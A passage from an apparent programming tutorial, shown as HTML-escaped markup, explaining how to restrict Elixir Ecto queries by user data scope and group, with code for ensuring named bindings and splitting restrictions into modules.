&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;do_restrict&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:external_all&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;address&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;left_join: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assoc&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;address&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;where: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;group&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:external&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;35&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;36&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;37&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;38&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;do_restrict&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:external_one&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;39&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;user_id&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Keyword&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;fetch!&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:user_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;40&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;41&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;address&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;42&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;left_join: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assoc&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;address&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;43&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;where: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;group&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:external&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;and&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;id&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user_id&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;44&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;45&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;46&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We extended our &lt;code&gt;Repo&lt;/code&gt; with one query restriction for each data scope. In &lt;code&gt;restrict/3&lt;/code&gt;, we pattern match against the schema name that is queried. In this case, we only handle queries for the &lt;code&gt;address&lt;/code&gt; schema. If a requesting user has the &lt;code&gt;:internal&lt;/code&gt; data scope, we limit the data to only internal users by extending the query with &lt;code&gt;where: user.group == :internal&lt;/code&gt;. We do the same for &lt;code&gt;external_all&lt;/code&gt; and &lt;code&gt;external_one&lt;/code&gt; data scopes.&lt;/p&gt;
&lt;p&gt;We have now successfully restricted all queries for the &lt;code&gt;address&lt;/code&gt; schema to only users of the correct user group! Nice! This concludes the basic setup of the query restrictions.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#caveats&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;caveats&quot;&gt;&lt;/a&gt;Caveats&lt;/h2&gt;
&lt;p&gt;The setup above will get you started. Once you extend the RAP above, you&apos;ll run into a few problems though. I&apos;ll explain some of them and their solutions next.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#named-binding-exists-already&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;named-binding-exists-already&quot;&gt;&lt;/a&gt;Named Binding exists already&lt;/h3&gt;
&lt;p&gt;In the &lt;code&gt;do_restrict/3&lt;/code&gt; functions above, I assumed that the &lt;code&gt;users&lt;/code&gt; schema wasn&apos;t joined to the &lt;code&gt;address&lt;/code&gt; schema yet. This won&apos;t always be the case though. A safer solution is to check whether a named binding for the &lt;code&gt;user&lt;/code&gt; schema already exists before joining the user again. Here&apos;s how you can check for that:&lt;/p&gt;
&lt;pre id=&quot;code-block-7&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;restrict&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;from: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;source: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;rap_addresses&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_module&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;data_scope&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;binding&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;ensure_binding&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:users&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;do_restrict&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;binding&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;data_scope&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;ensure_binding&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;keys&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Enum&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;keys&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;fn&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;key&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;has_named_binding?&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;nil&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;add_binding&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;keys&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;key&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;add_binding&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;key&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_rest&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:left&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assoc&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;as: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;do_restrict&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;binding&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:internal&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;binding&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;where: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;group&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:internal&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;ensure_binding/2&lt;/code&gt; function will check whether the query already has a named binding based on a list of possible keys. It joins the user schema into the query if not and returns the query and the key for the named binding. Note that this will only work if you joined the user with a &lt;code&gt;as:&lt;/code&gt; named binding like this: &lt;code&gt;join: user in assoc(a, :user), as: :user&lt;/code&gt;. If you join the user, but without named binding, we&apos;ll still join the user again in this case. You can extend &lt;code&gt;ensure_binding&lt;/code&gt; by also checking the &lt;code&gt;query.joins&lt;/code&gt;. This will also include unnamed bindings.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#create-restriction-modules&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;create-restriction-modules&quot;&gt;&lt;/a&gt;Create Restriction Modules&lt;/h3&gt;
&lt;p&gt;We added restrictions for the &lt;code&gt;address&lt;/code&gt; schema above, but even that required ~35 lines of code already. If you want to add restrictions for other schemas as well, I&apos;d advise moving them into their own modules like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-8&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Restrictions.Address&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;restrict&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;from: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;source: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;addresses&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_module&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;data_scope&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# call do_restrict/3&lt;/span&gt;
